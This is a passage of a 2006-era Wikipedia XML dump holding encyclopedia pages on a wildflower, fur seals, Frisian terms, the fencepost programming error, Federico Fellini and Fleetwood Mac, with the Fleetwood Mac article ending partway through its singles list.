[[Category:1877 births|Soddy, Frederick]]
[[Category:1956 deaths|Soddy, Frederick]]
[[Category:Nobel Prize in Chemistry winners|Soddy, Frederick]]
[[Category:University of Wales, Aberystwyth Alumni|Soddy, Frederick]]

[[de:Frederick Soddy]]
[[es:Frederick Soddy]]
[[fr:Frederick Soddy]]
[[hu:Frederick Soddy]]
[[ja:フレデリック・ソディ]]
[[pt:Frederick Soddy]]
[[sk:Frederick Soddy]]
[[tr:Frederick Soddy]]
tofeeeee</text>
    </revision>
  </page>
  <page>
    <title>Firepink</title>
    <id>11779</id>
    <revision>
      <id>37290224</id>
      <timestamp>2006-01-30T01:15:20Z</timestamp>
      <contributor>
        <username>Gdrbot</username>
        <id>263608</id>
      </contributor>
      <minor />
      <comment>nomialbot — converted multi-template taxobox to {{Taxobox}}</comment>
      <text xml:space="preserve">{{Taxobox
| color = lightgreen
| name = Firepink
| image = Silene virginica.jpg
| image_width = 200px
| regnum = [[Plantae]]
| divisio = [[Flowering plant|Magnoliophyta]]
| classis = [[Magnoliopsida]]
| ordo = [[Caryophyllales]]
| familia = [[Caryophyllaceae]]
| genus = ''[[Silene]]''
| species = '''''S. virginica'''''
| binomial = ''Silene virginica''
| binomial_authority = [[Carolus Linnaeus|L.]]
}}

A '''firepink''' (''Silene virginica'') is a [[wildflower]] with five, small, double-toothed, brilliantly red [[petal]]s. This plant is found in open woods in [[North America]]. It is a member of the pink family [[Caryophyllaceae]].

[[Category:Caryophyllales]]

{{plant-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Fur seal</title>
    <id>11780</id>
    <revision>
      <id>37290397</id>
      <timestamp>2006-01-30T01:16:39Z</timestamp>
      <contributor>
        <username>Gdrbot</username>
        <id>263608</id>
      </contributor>
      <minor />
      <comment>nomialbot — converted multi-template taxobox to {{Taxobox}}</comment>
      <text xml:space="preserve">{{Taxobox
| color = pink
| name = Fur seals
| image = Southernfurseal.jpg
| image_width = 250px
| image_caption = [[Australian Fur Seal]]
| regnum = [[Animal|Animalia]]
| phylum = [[Chordate|Chordata]]
| classis = [[Mammal|Mammalia]]
| ordo = [[Carnivora]]
| subordo = [[Pinniped|Pinnipedia]]
| familia = [[Otariidae]]
| subfamilia = '''Arctocephalinae'''
| subfamilia_authority = [[John Edward Gray|Gray]], 1837
| subdivision_ranks = Genera
| subdivision = 
''[[Callorhinus]]''&lt;br /&gt;
''[[Arctocephalus]]''
}}

'''Fur seals''' make up one of the two distinct groups of [[mammal]]s called &quot;seals&quot;. Both the fur seals and the [[true seal]]s are members of the [[Pinnipedia]], which is usually regarded as a suborder of the [[order (biology)|order]] [[Carnivora]] but sometimes as an independent order. However, the fur seals, like their close relatives the [[sea lion]]s, retain some ability to walk on land as their hind limbs can be brought forward under the body to bear the animal's weight, and retain small but visible external ears. 

The fur seals and the sea lions as a group make up the [[family (biology)|family]] Otariidae, and are called [[eared seal]]s or walking seals to distinguish them from the earless true seals of the family [[Phocidae]]. The fur seals alone make up the '''''Arctocephalinae''''' subfamily. 

* '''SUBORDER [[Pinnipedia|PINNIPEDIA]]'''
* '''Family Otariidae'''
** '''Subfamily Arctocephalinae'''
*** [[Northern Fur Seal]], ''Callorhinus ursinus''
*** [[Antarctic Fur Seal]], ''Arctocephalus gazella''
*** [[Guadalupe Fur Seal]], ''Arctocephalus townsendi''
*** [[Juan Fernandez Fur Seal]], ''Arctocephalus philippii''
*** [[Galapagos Fur Seal]], ''Arctocephalus galapagoensis''
*** [[Cape Fur Seal]] or Australian Fur Seal, ''Arctocephalus pusillus''
*** [[New Zealand Fur Seal]], ''Arctocephalus forsteri''
*** [[Subantarctic Fur Seal]], ''Arctocephalus tropicalis''
*** [[South American Fur Seal]], ''Arctocephalus australis''

** Subfamily [[Otariinae]]:  sea lions
* Family [[Phocidae]]: true seals
* Family [[Odobenidae]]: Walrus

[[Category:Pinnipeds]]

[[da:Øresæler]]
[[de:Ohrenrobben]]
{{Link FA|de}}
[[fr:Otarie]]
[[ko:물개]]
[[nl:Zeeberen]]
[[ja:オットセイ]]
[[fi:Korvahylkeet]]
[[sv:Öronsälar]]</text>
    </revision>
  </page>
  <page>
    <title>Friesian</title>
    <id>11781</id>
    <revision>
      <id>30169789</id>
      <timestamp>2005-12-05T00:50:04Z</timestamp>
      <contributor>
        <username>Eskimbot</username>
        <id>477460</id>
      </contributor>
      <minor />
      <comment>robot  Adding: fr</comment>
      <text xml:space="preserve">'''Frisian''' (alternate spelling: '''Friesian''') can refer to:

*An inhabitant of [[Frisia]] (consisting of the province of [[Friesland]] in the [[Netherlands]], and portions of the states of [[Lower Saxony]] and [[Schleswig-Holstein]] in [[Germany]]) - see [[Frisians]]
*The [[Frisian language]], which itself is divided into three languages:
**[[West Frisian language]], spoken in the Netherlands.
**[[East Frisian language]], spoken in Lower Saxony, Germany.
**[[North Frisian language]], spoken in Schleswig-Holstein, Germany.
**The [[Old Frisian]] language
*A breed of [[horse]] from [[Frisia]], see [[Friesian horse]].
* '''Friesian''' is a common breed of [[cow]] (also known as the [[Holstein Friesian]]), recognised by their black and white mottled hides. They are large and heavy, and are primarily used as [[dairy]] [[cattle]], although they are also [[farming|farmed]] for [[beef]]. They are the most common breed of cow in the [[developed nations|developed world]], and make up approximately one third of all dairy cows.
*The philosophy, which can be known as [[Friesian philosophy]] or [[Neo-Friesian philosophy]], that gets its name from the [[Immanuel Kant|Kant]]-influenced German philosopher [[Jakob Fries]]. [http://www.friesian.com]

{{disambig}}

[[fr:Frison]]</text>
    </revision>
  </page>
  <page>
    <title>Frisian</title>
    <id>11782</id>
    <revision>
      <id>23807591</id>
      <timestamp>2005-09-23T04:30:35Z</timestamp>
      <contributor>
        <username>Hottentot</username>
        <id>239268</id>
      </contributor>
      <comment>all this info can be found at [[Friesian]]</comment>
      <text xml:space="preserve">#REDIRECT [[Friesian]]</text>
    </revision>
  </page>
  <page>
    <title>Fencepost error</title>
    <id>11783</id>
    <revision>
      <id>40770602</id>
      <timestamp>2006-02-22T22:30:23Z</timestamp>
      <contributor>
        <username>Seliopou</username>
        <id>226572</id>
      </contributor>
      <text xml:space="preserve">In [[computer programming]], a '''fencepost error''' (occasionally called a &quot;lamp-post error&quot;) is a [[computer bug]] involving the discrete equivalent of a [[boundary condition]], often exhibited in programs by [[Control_flow#Loops|iterative loops]]. This can also occur in a [[mathematics|mathematical]] context, but is not usually named.

The following problem illustrates the error:

: &quot;If you build a fence 100 feet long with posts 10 feet apart, how many posts do you need?&quot; 

Many people will intuitively divide 100 by 10 and thus answer 10, but this is incorrect. The fence certainly has 10 sections, but there are 11 posts. The following diagram illustrates this:

   ( )   ( )   ( )   ( )   ( )   ( )   ( )   ( )   ( )   ( )   ( )
    |     |     |     |     |     |     |     |     |     |     |
    |-----|-----|-----|-----|-----|-----|-----|-----|-----|-----|
    |  1  |  2  |  3  |  4  |  5  |  6  |  7  |  8  |  9  | 10  |
    |     |     |     |     |     |     |     |     |     |     |
    |-----|-----|-----|-----|-----|-----|-----|-----|-----|-----|
 
    1     2     3     4     5     6     7     8     9     10    '''11'''

In computing, suppose you have a long list or [[array]] of items, and want to process items ''m'' through ''n''; how many items are there? The obvious answer is ''n''&amp;minus;''m'', but that is off by one; the right answer is ''n''&amp;minus;''m''+1. The &quot;obvious&quot; formula exhibits a fencepost error. (This is the motivation behind the representation of ranges in computing by [[half-open interval]]s: the range from ''m'' to ''n'' (both inclusive) is very often represented by the range from ''m'' (inclusive) to ''n''&amp;nbsp;+&amp;nbsp;1 (exclusive) to avoid fencepost errors.)

Note that not all [[off-by-one error]]s are fencepost errors. The game of [[musical chairs]] involves a catastrophic off-by-one error where ''n'' people try to sit in ''n''&amp;minus;1 chairs, but this is not a fencepost error (see also [[pigeonhole principle]]). Fencepost errors come from counting things rather than the spaces between them, or vice versa, or by neglecting to consider whether one should count one or both ends of a row.

A rare secondary meaning is an error induced by unexpected regularities in input values, which can (for instance) completely thwart a theoretically efficient [[binary tree]] or [[hash function]] implementation. The error here involves the difference between expected and worst case behaviours of an [[algorithm]]. 

==See also==
[[zeroth]]



''An earlier version of this article was based on [http://foldoc.doc.ic.ac.uk/foldoc/foldoc.cgi?query=fencepost%20error fencepost error] at [http://www.foldoc.org FOLDOC], used with [[Wikipedia:Foldoc license|permission]].''

[[Category:Programming bugs]]

[[de:Zaunpfahlproblem]]</text>
    </revision>
  </page>
  <page>
    <title>Fauna</title>
    <id>11784</id>
    <revision>
      <id>35534031</id>
      <timestamp>2006-01-17T12:52:12Z</timestamp>
      <contributor>
        <username>Muchness</username>
        <id>282514</id>
      </contributor>
      <comment>MoS fmt</comment>
      <text xml:space="preserve">'''Fauna''' may mean:

* [[Fauna (animals)]], a collective term for animal life, as distinct from ''flora'' (plant life)
* [[Fauna (goddess)]], an ancient Roman goddess
* [[Fauna, Bloemfontein]], a suburb of the South African city of Bloemfontein
* Fauna Range, a hill range in [[Bundelkhand]], India

{{disambig}}
 
[[fr:Faune]]
[[nl:Fauna]]
[[fi:Fauna]]
[[ru:Фауна]]</text>
    </revision>
  </page>
  <page>
    <title>Federico Fellini</title>
    <id>11786</id>
    <revision>
      <id>41516574</id>
      <timestamp>2006-02-27T22:05:26Z</timestamp>
      <contributor>
        <ip>84.9.104.145</ip>
      </contributor>
      <text xml:space="preserve">'''Federico Fellini''' ([[January 20]] [[1920]] &amp;ndash; [[October 31]] [[1993]]) was one of the most influential and widely revered [[Italy|Italian]] [[film]]-makers of the [[20th century]] and is considered to be one of the finest [[film director]]s of all time. Fellini's films typically combine memory, dreams, fantasy and desire.

== Life and work ==
Born in and raised in [[Rimini]], his childhood experiences would later play an important part in many of his films. Fellini's first solo-directed film was ''[[Lo Sceicco Bianco]]'' ([[1951]]), with [[Alberto Sordi]], written by [[Michelangelo Antonioni]] and Ennio Flaiano. In making this movie Fellini met [[Nino Rota]], the musician who would follow him for the successful remainder of his career.

In addition to making films, he also wrote scripts for [[radio]] shows, for movies (mainly for Rossellini) and wrote comic gags for well known actors like Aldo Fabrizi. Fellini also produced several drawings (mostly pencil on paper), often humorous portraits. It is with these works that young Fellini encountered [[film|cinema]]: his first success was in drawing advertising pictures for movies.

During Mussolini's [[Fascist]] regime, he was an ''Avanguardista'', and his first writings were for Alleanza Cinematografica Italiana (ACI), the production company of Vittorio Mussolini, son of [[Benito Mussolini|Benito]], who introduced him to [[Roberto Rossellini]], husband of Swedish-born actress [[Ingrid Bergman]].

In [[1944]], after Mussolini's downfall, Fellini opened a shop in [[Rome]] in which he sold his drawings. The shop was named (in English) &quot;The Funny Face Shop&quot;, and contained works from Fellini and De Seta, Verdini, Camerini, Scarpelli, Majorana, Guasta, Giobbe, Attalo, Migneco (all writers, directors or otherwise intellectuals working for Italian cinema). A major inspiration for Fellini was Goethe, the author of Faust. In the same year he started his contribution to [[Roberto Rossellini|Rossellini]]'s [[Roma città aperta]], starring [[Aldo Fabrizi]].

Fellini also took part in writing another of Rossellini's movies, ''[[Paisà]]''.  He wrote also for other directors such as [[Alberto Lattuada]], [[Pietro Germi]], and [[Luigi Comencini]].

Fellini's wife, [[Actor|actress]] [[Giulietta Masina]] (married in 1943) was often in his movies.  Other actors with whom Fellini frequently worked  include [[Marcello Mastroianni]], [[Alberto Sordi]], and [[Anita Ekberg]].

In [[1945]] Fellini had a son who survived for only 2 weeks; he was the only son of Fellini and Giulietta Masina.

In [[1948]] Fellini acted in Rossellini's ''Il Miracolo''.

Throughout the [[1950s]], [[1960s]], [[1970s]] and [[1980s]] his films were widely acclaimed and he was rewarded with several Oscars.

In 1991 Fellini's text &quot;''[[Trip to Tulum]]''&quot; was translated into [[English language|English]] by Stefano Gaudiano and published in a graphic form in the magazine: [[Crisis (comic)|Crisis]] with artwork by [[Milo Manara]].

In [[1993]] he received an [[Academy Award]] (&quot;Oscar&quot;) for his lifetime achievement. That same year, he died in [[Rome]] at the age of 73.

The [[Federico Fellini International Airport]] in [[Rimini]], is named in his honor.

== Filmography as director ==
''links to Fellini's drawings related to single films''
*''[[Variety Lights|Luci del Varietà]]'' (1950) (co-credited with Alberto Lattuada)
*''[[The White Sheik|Lo Sceicco Bianco]]'' (1951) [http://www.cinemaitaliano.net/diseht/sceicco.htm] [http://www.cinemaitaliano.net/diseht/fellsceic.htm] 
*''[[I Vitelloni]]'' (1953) [http://www.cinemaitaliano.net/diseht/fellvent.htm]
*''[[L'Amore in Città]]'' (1953) (segment ''Un'agenzia matrimoniale'')
*''[[La Strada (1954 film)|La Strada]]'' (1954) [[Academy_award|Oscar]] (best foreign movie) [http://www.cinemaitaliano.net/diseht/felldisgiu.htm]
*''[[Il bidone]]'' (1955)
*''[[Le Notti di Cabiria]]'' (1957) Oscar (best foreign movie) [http://www.cinemaitaliano.net/diseht/discab.htm]
*''[[La Dolce Vita]]'' (1960) Oscar (best costumes)
*''[[Boccaccio '70]]'' (1962) (segment ''Le tentazioni del Dottor Antonio'')
*''[[8½]]'' (1963) 2 Oscars (best foreign movie, best costumes)
*''[[Giulietta degli Spiriti]]'' (1965)
*''[[Satyricon (film)|Satyricon]]'' (1969)
*''[[I Clowns]]'' (1970)
*''[[Roma (1972 film)|Roma]]'' (1972)
*''[[Amarcord]]'' (1973) Oscar (best foreign movie)
*''[[Il Casanova di Federico Fellini]]'' (1976)
*''[[Prova d'orchestra]]'' (1979)
*''[[La città delle donne]]'' (1980)
*''[[E la Nave Va]]'' (1983)
*''[[Ginger and Fred]]'' (1986)
*''[[Intervista]]'' (1987)
*''[[La voce della luna]]'' (1990)

== See also ==
*[[Art film]]

== Bibliographies ==
[http://www.lib.berkeley.edu/MRC/fellini.html Fellini Bibliography] (via UC Berkeley)

== External links ==
{{wikiquote}}
*[http://www.federicofellini.it/ Official Fellini's Foundation Web Site]
*{{imdb name|name=Federico Fellini |id=0000019}}
*{{senses|id=directors/02/fellini|name=Federico Fellini}}
*[http://www.filmref.com/directors/dirpages/fellini.html Various short reviews]
*[http://web.tiscali.it/mauriziodibona/fellini_file/disegno4.htm One of Fellini's artworks]
*[http://www.adherents.com/people/pf/Federico_Fellini.html The Religious Affiliation of Federico Fellini]
*[http://www.outofbalance.org/fellini Images and Archetypes: A perspective on the work of Federico Fellini ]
*[http://www.fellinidoc.com Site for the documentary film &quot;Fellini Ungrateful Celebration&quot;, directed by: Eric Burritt ]
*[http://www.felliniana.com Researching and documenting the influence of Federico Fellini on popular culture]



{{Fellini}}

[[Category:1920 births|Fellini]]
[[Category:1993 deaths|Fellini]]
[[Category:Italian film directors|Fellini]]
[[Category:Natives of Emilia-Romagna|Fellini]]
[[Category:Roman Catholics|Fellini]]

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  </page>
  <page>
    <title>Fleetwood Mac</title>
    <id>11787</id>
    <revision>
      <id>41758209</id>
      <timestamp>2006-03-01T15:08:01Z</timestamp>
      <contributor>
        <ip>141.156.70.20</ip>
      </contributor>
      <text xml:space="preserve">[[Image:fleetwoodmac.jpg|thumb|240px|Fleetwood Mac during its [[1970s]] commercial heyday. Clockwise from top: [[John McVie]], [[Stevie Nicks]], [[Mick Fleetwood]], [[Christine McVie]] and [[Lindsey Buckingham]].]]

'''Fleetwood Mac''' (formed in [[1967]]) is an influential and commercially successful British-American [[Rock and Roll]] band.
==Beginnings==

In the late [[1960s]], Fleetwood Mac was a success among [[British blues]] bands. The band was started by [[guitar]]ist [[Peter Green (musician)|Peter Green]], who recruited the rhythm section of [[John Mayall]]'s Bluesbreakers: drummer [[Mick Fleetwood]] and bass guitarist [[John McVie]]. Green himself had replaced a departing member, [[Eric Clapton]], as the lead guitarist of the &quot;Bluesbreakers&quot;; Green and McVie had appeared on Mayall's 1967 [[A_Hard_Road|A Hard Road]] album.  The band employed another bassist, [[Bob Brunning]], until John McVie was persuaded to join the band. Slide-guitarist and [[Elmore James]] devotee, [[Jeremy Spencer]], rounded out the lineup. 

Its &quot;full&quot; name was now &quot;Peter Green's Fleetwood Mac featuring Jeremy Spencer.&quot; The band released two albums of Chicago-based blues, and it released a single, &quot;[[Black Magic Woman]],&quot; which, when re-recorded by [[Santana (band)|Santana]] in 1970, became a big U.S. hit. 

Jeremy Spencer's comedic work with the band counterbalanced Peter Green's serious take on the blues. His performances tended towards parodies and loving pastiches of 1950's [[rockabilly]]. One of his Fleetwood Mac songs, the B-side &quot;Somebody's Gonna Get Their Head Kicked in Tonight,&quot; was jokingly credited to &quot;Earl Vince and the Valiants&quot; and later covered by 70's Scottish punk band the Rezillos. 

After its second album, &quot;[[Mr. Wonderful]]&quot;, a third guitarist, 18-year-old [[Danny Kirwan]], was added to the lineup. At this point the band began shifting into a more melodic, introspective, and experimental/progressive mode. Most performances were built around the twin leads of Green and Kirwan, and Kirwan's songwriting was featured in nearly equal proportion to Green's. After releasing two successful singles, the instrumental &quot;[[Albatross (composition)|Albatross]]&quot;  (which remains the band's only #1 hit in the UK), and the ballad &quot;Man of the World&quot; [#2 UK], it produced what is often considered the best album of the band's Peter Green era, &quot;[[Then Play On]]&quot;. Spencer was, for the most part, absent from these recording sessions. The epic 2-part &quot;Oh Well&quot; single followed [#2 UK], and was included in later pressings of the U.S. LP album (and in all CDs).

After recording &quot;[[Then Play On]]&quot;, Green announced that he was leaving the band. Experimentation with various drugs, particularly [[LSD]], accompanied growing frustration with the commercial nature of the music business.  The situation was reflected in the tortured single &quot;[[The Green Manalishi|The Green Manalishi (With The Two Pronged Crown)]]&quot;, which was nevertheless a #10 UK hit. On May 28, 1970 he performed with Fleetwood Mac for the last time on stage. 

Following its first album without Green, &quot;Kiln House&quot; in 1971, in the middle of a tour in California, Spencer joined the religious group [[Children of God]]. Peter Green was summoned to fill in for the remainder of its engagements. By this time [[Keyboard instrument|keyboard]]ist and singer [[Christine McVie|Christine Perfect]], married John McVie, became [[Christine McVie]], and joined the band. Kirwan acted as front man for 1971's  &quot;Future Games&quot; and 1972's &quot;[[Bare Trees]]&quot;, the latter becoming its biggest success to date.

==Fleetwood Mac in the early Seventies==
The early 1970s of Fleetwood Mac were turbulent for the band, which gained and lost members at a troubling rate. American guitarist [[Bob_Welch_(musician)|Bob Welch]] joined up, at the suggestion of good friend [[Judy_Wong_(promoter)|Judy Wong]], lending a jazz-rock flavor to Kirwan's more melodic songs. Kirwan's and Welch's tenures overlapped by two albums, but eventually, Kirwan's own erratic behavior on tour led to his dismissal in late 1972. Welch's contributions included &quot;Future Games&quot; (from 1971's [[Future Games]]''), &quot;Sentimental Lady&quot; (from [[1972 in music|1972]]'s ''[[Bare Trees]]''), and &quot;Hypnotized&quot; (from [[1973 in music|1973]]'s ''[[Mystery To Me]]'').  

[[Bob_Weston_(guitarist)|Bob Weston]] (guitar) and [[Savoy Brown|Savoy Brown's]] [[Dave Walker]] (vocals) were also briefly hired during this phase of the band.  The firing of Weston during a late 1973 tour led to that tour's abrupt cancellation.  This led its manager, Clifford Davis, to send another dummy band out on the road billed as &quot;Fleetwood Mac&quot;, but featuring no original members of the band, resulting in a year-long legal battle.

==Rumours era==
In late [[1974 in music|1974]], Welch indicated that he intended to leave the band, and Fleetwood and John McVie needed to fill the possible vacancy.  While Fleetwood was scouting Van Nuys, California's Sound City Studios, house engineer Keith Olsen played a track titled &quot;Frozen Love&quot; (from ''The Buckingham Nicks'', Polydor PD 5058, September 1973), which he had mixed there for an obscure American duo, The Buckingham Nicks . Fleetwood liked what he heard, and he was introduced to the guitarist, [[Lindsey Buckingham]], who just happened to be in the building.  When Welch resigned from the band, Fleetwood asked Buckingham to join. Buckingham agreed, on the condition that his musical partner and girlfriend, [[Stevie Nicks]], also become part of the band.

In [[1975 in music|1975]], under new management by Gabriele Arras, the new lineup released the eponymous ''[[Fleetwood Mac (1975 album)|Fleetwood Mac]]''. This proved to be a breakthrough for the band and it became a huge hit. The band was catapulted into stardom. Among the hit singles from this album were Christine McVie's &quot;[[Over My Head]]&quot; and &quot;[[Say You Love Me]]&quot;, and Stevie Nicks's &quot;[[Rhiannon (Will You Ever Win)]]&quot;.

But in [[1976 in music|1976]], with the success of the band also came the end of John &amp; Christine McVie's marriage, as well as Buckingham's and Nicks's longtime romantic relationship. Pressure was put on Fleetwood Mac to release a successful follow-on album, which, when combined with its new-found wealth, led to creative and personal tensions, fuelled by large amounts of drug and alcohol consumption, especially [[cocaine]].

The album the band members created was ''[[Rumours]]'' in [[1977 in music|1977]], in which the band lays bare the emotional turmoil experienced at that time. It became the best- selling album of the year, and it sold over 19 million copies, worldwide, by 1998. The [[RIAA]] certified ''Rumours' as a [[Diamond album|diamond album]].

==Tusk era==
''[[Rumours (album)|Rumours]]'' was the point where [[Fleetwood Mac]] was at the height of its creativity and popularity. Sales of future albums declined, but the band still enjoyed critical success. This was true of the follow-up album.  Buckingham's response to the great popularity of ''[[Rumours (album)|Rumours]]'' was to avoid making a carbon-copy sequel. His expanded role as producer for the next album was influenced by the [[new wave music|new wave]] style.

The result - a quirky double album ''[[Tusk (album)|Tusk]]'' - was released in [[1979 in music|1979]]. It spawned three hit singles: Lindsey Buckingham's &quot;Tusk&quot;, which featured the [[Spirit of Troy|USC marching band]]; Christine McVie's &quot;Think About Me&quot;; and Stevie Nicks' seven minute opus &quot;Sara&quot;. The latter was cut to three-and-one-half minutes for the first CD-version release, but it has since been restored for CD reissuance. ''Tusk'' remains one of Fleetwood Mac's most ambitious albums to date. The band embarked on a huge 18-month tour to support and promote ''Tusk''. It traveled extensively across the world, including the USA, [[Australia]], [[New Zealand]], [[Japan]], [[France]], [[Belgium]], [[Germany]], the [[Netherlands]], and the United Kingdom. During this time, the band also recorded music for the ''[[Live (Album)|Live]]'' album.

==Mirage era==
The next album, ''[[Mirage (album)|Mirage]]'', was a return to the more conventional. Buckingham had been chided by critics, fellow bandmembers and music business managers for the apparent low commercial success enjoyed by ''Tusk''. Recorded at a chateau in France, ''Mirage'' was an attempt to recapture the pop success of [[Rumors]]. Its hits included: Christine McVie's and Jim Recor's &quot;Love In Store&quot;, Christine McVie's &quot;Hold Me&quot;, Stevie Nicks' &quot;Gypsy&quot;, and Lindsey Buckingham's &quot;Oh Diane&quot;, which entered the Top 10 in the UK. A minor hit was also scored by Buckingham for his &quot;Eyes Of The World&quot;. Unlike the Tusk Tour, the band only embarked on a short tour of 18 American cities. It also headlined the first US Festival for which the band was paid $500,000.   

Following ''Mirage'', the band went on hiatus, which allowed members to pursue solo careers. Stevie Nicks released ''[[Bella Donna (album)|Bella Donna]]'', Lindsey Buckingham released ''[[Law and Order (album)|Law and Order]]'', and Christine McVie released an eponymous album. All three met with success but it was Stevie Nicks who was most rewarded. During this time it was often rumoured that Fleetwood Mac had finally broken up. Buckingham, however, commented that he was unhappy to allow ''Mirage'' to remain as the band's last effort.

==Tango in the night==
The ''Rumours'' lineup of Fleetwood Mac would record one more album for the time being, ''[[Tango In The Night (album)|Tango In The Night]]'', in [[1987 in music|1987]]. The album was popular, especially in the UK where it hit no.1 three times over a year. The album proved that Fleetwood Mac still had selling power and the album spawned four hits:  Christine McVie and Eddy Quintela's &quot;Little Lies&quot;, Christine McVie's &quot;Everywhere&quot;, Sandy Stewart and Stevie Nicks' &quot;Seven Wonders&quot;, and Lindsey Buckingham's &quot;Big Love&quot;. The band intended to tour to support the album but Buckingham felt that he had fulfilled his commitments to the band, and wanted to leave. The split was not amicable [in fact, Fleetwood says it was venomous] but his relationship with the band would heal somewhat in later years.

==The Mac carries on==
Following Buckingham's departure, Fleetwood Mac added guitarists [[Billy Burnette]] and [[Rick Vito]] to the band. 1987's &quot;Tango In The Night&quot;, or, &quot;Shake the Cage&quot; tour was the first outing for this lineup, and it enjoyed enough success to warrant a venture into the recording studio. Fleetwood Mac recorded ''[[Behind the Mask (album)|Behind The Mask]]'' with Burnette and Vito in 1990. With the album, the band ended up with a more [[adult contemporary]] than rock 'n' roll style. However, although the album yielded several high-ranking singles, including McVie's &quot;Skies The Limit&quot; and &quot;Save Me&quot; and Nicks's single &quot;Love Is Dangerous&quot;, ''Behind The Mask'' only achieved gold album status, and it was seen by some music critics as the low point for the band in the absence of Lindsey Buckingham. In 1995, after Nicks and Vito left the band, and Christine McVie  retired from touring, the remaining band members added Bekka Bramlett and Dave Mason to their number, publishing the fairly unsuccessful ''[[Time (Fleetwood Mac album)|Time]]'' album. 

During this time, the Buckingham/Nicks/McVie(s)/Fleetwood lineup reunited at the request of U.S. President [[Bill Clinton]] for his first Inaugural Ball in [[1993]]. Clinton had made Fleetwood Mac's &quot;[[Don't Stop]]&quot; his campaign theme song, and he prevailed on them to perform it live for his guests. Although the five did so, old wounds had yet to heal, and there was no talk of extending the reunion.  

The second reunion in the 1990s also came as a surprise to the music world. In late 1996, the McVies and Fleetwood performed session recording work for Buckingham's forthcoming solo album. This eventually led to a full ''Rumours'' lineup reunion in the form of a live concert recorded on a [[Warner Brothers]] [[Burbank, California]] soundstage, which resulted in the [[1997 in music|1997]] album ''[[The Dance (album)|The Dance]]''.  A successful stadium tour followed the [[MTV]] premiere of ''The Dance'', which kept the reunited Mac on the road throughout much of 1997.  This would be the final foray of the [[1970s]] lineup with Christine McVie.  It was inducted into the [[Rock and Roll Hall of Fame]] in early [[1998]], and it performed at the Grammy Awards program that year.

In [[1998]], Christine McVie left the band and returned to the UK to retire from touring (though not from the music business entirely as she created a new album ''In The Meantime'' in 2004). This left Buckingham and Nicks to sing the vocals for the band's 2003 album, ''[[Say You Will]]''.  The album debuted at #3 on the Billboard 2003 chart, and a well-attended world arena tour lasted through [[2004]].  Drummer Mick Fleetwood and bass guitarist John McVie remain the only original members still with the band.

As Fleetwood had promised, even when events reached their nadir, there would always be John McVie and Mick Fleetwood, as long as both shall live.

== Discography ==
===The Peter Green Years (1967-1970)===
* ''[[Fleetwood Mac (1968 album)|Peter Green's Fleetwood Mac]]'' (Blue Horizon, 1968)
* ''[[Mr. Wonderful (album)|Mr. Wonderful]]'' (Epic, 1968)
* ''[[English Rose]]'' (Epic, 1969--US only)
* ''The Pious Bird Of Good Omen'' (Blue Horizon 1969--UK only)
* ''[[Then Play On]]'' (Reprise, 1969)
* ''Fleetwood Mac In Chicago/Blues Jam In Chicago vols 1 &amp; 2'' (Blue Horizon, 1969)

==== Additional Compilations/Outtakes Collections ====
* ''Greatest Hits'' (CBS Europe, 1971)
* ''The Original Fleetwood Mac'' (1967-8 recordings, released Blue Horizon 1971)
* ''[[The Complete Blue Horizon Sessions|The Complete Blue Horizon Sessions 1967-1969]] [Box set]'' (Columbia UK, 1999)
* ''[[The Vaudeville Years|The Vaudeville Years of Fleetwood Mac: 1968 to 1970]]  [Box set]'' (released 1999)
* ''[[Show-Biz Blues|Show-Biz Blues 1968-1970]]  [Box set]'' (Companion to &quot;Vaudville&quot;, released c. 2002) 
* ''Best of Peter Green's Fleetwood Mac'' (Columbia UK, 2000)
* ''Original Fleetwood Mac:  The Blues Years'' (3-CD set, Castle, 2000)
* ''Jumping at Shadows: The Blues Years'' (Castle/Sanctuary, 2002)
* ''[http://www.musicbox-online.com/fm-men.html Men of the World: The Early Years]'' (Sanctuary, 2005)

==== Live Albums ====
* ''Live at the Marquee, 1967'' (released 1992)
* ''Masters: London Live '68'' (released 1998)
* ''[[Live at the BBC (Fleetwood Mac album)|Live At The BBC]]'' (released 1995)
* ''[http://www.musicbox-online.com/fm-shrn.html Shrine '69]'' (live 1969, released 1999)
* ''[[Live In Boston|Live at the Boston Tea Party]], vols 1-3'' (recorded Feb 5-7, 1970. Released on Snapper, 1998-2000.  A remix and expansion of countless grey-market versions of these tapes, released from 1985 on.  The only tracks it lacks are an alternate live &quot;World in Harmony&quot; and a 3-minute bongo solo, edited out of &quot;Green Manalishi.&quot;)
* ''Oh Well--Greatest Hits Live'' (Mainline, 1989.  Most complete version of earlier rough mixes of Feb 5-7 1970 Boston Tea Party concerts.  Contains the 2 variations cited above.)

===The Transitional Years (1970-74)===
* ''[[Kiln House]]'' (Reprise, 1970)
* ''[[Future Games]]'' (Reprise, 1971)
* ''[[Bare Trees]]'' (Reprise, 1972)
* ''[[Penguin (album)|Penguin]]'' (Reprise, 1973)
* ''[[Mystery To Me]]'' (Reprise, 1973)
* ''[[Heroes Are Hard to Find]]'' (Reprise, 1974)

====Additional Compilations/Outtakes Collections====
* ''Madison Blues '' [Kiln House/Christine Perfect Band outtakes box set] (Shakedown Records, 2003)

===The &quot;Superstar&quot; years (1975-on)===
* ''[[Fleetwood Mac (1975 album)|Fleetwood Mac]]'' (Reprise, 1975)
* ''[[Rumours]]'' (Warner, 1977)
* ''[[Tusk (album)|Tusk]]'' (Warner, 1979)
* ''[[Mirage (album)|Mirage]]'' (Warner, 1982)
* ''[[Tango in the Night]]'' (Warner, 1987)
* ''[[Behind the Mask (album)|Behind the Mask]]'' (Warner, 1990)
* ''[[Time (Fleetwood Mac album)|Time]]'' (Warner, 1995)
* ''[[Say You Will]]'' (Warner, 2003)

==== Compilations ====
* ''[[Greatest Hits (Fleetwood Mac album)|Greatest Hits]]'' (Warner, 1988)
* ''[[25 Years - The Chain (album)|25 Years - The Chain [Box set]]]'' (Warner, 1992)
* ''[[The Very Best of Fleetwood Mac]]'' (Warner, 2002)

==== Live Albums ====
* ''[[Live (Fleetwood Mac)|Live]]'' (Warner, 1980)
* ''[[The Dance (album)|The Dance]]'' (Reprise, 1998)
* ''[[Live In Boston (2004)|Live In Boston]]'' (Warner, 2004) (From the [[Say You Will]] tour)

==Singles==

'''Peter Green Era'''

* &quot;I Believe My Time Ain't Long&quot;/&quot;Rambing Pony&quot; (Nov 1967, Blue Horizon) 
* &quot;Black Magic Woman&quot; [#37 UK] /&quot;Long Grey Mare&quot; (June 1968, Epic)
* &quot;Need Your Love So Bad&quot; [#31 UK] &quot;Stop Messin' Round&quot; (UK, Blue Horizon) /&quot;No Place To Go&quot; (US, Epic)
